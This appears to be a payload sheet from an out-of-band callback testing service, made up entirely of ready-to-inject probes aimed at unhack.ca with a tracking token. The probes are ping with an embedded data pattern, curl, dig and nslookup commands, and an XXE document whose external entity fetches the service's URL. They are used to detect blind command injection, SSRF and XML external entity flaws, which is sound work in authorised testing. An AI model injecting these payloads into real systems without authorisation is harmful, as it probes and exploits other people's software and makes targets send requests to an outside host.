$ ping -c1 -p 000860ee6a0c01aab63d10b9002c1d00 unhack.ca
 

$ curl http://unhack.ca/p/0860ee6a0c01aab63d10b9002c1d
 

$ dig 0860ee6a0c01aab63d10b9002c1d @unhack.ca
 

$ dig 0860ee6a0c01aab63d10b9002c1d.ns.unhack.ca
 

C:\> nslookup 0860ee6a0c01aab63d10b9002c1d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0860ee6a0c01aab63d10b9002c1d">]>
    <foo>&xxe;</foo>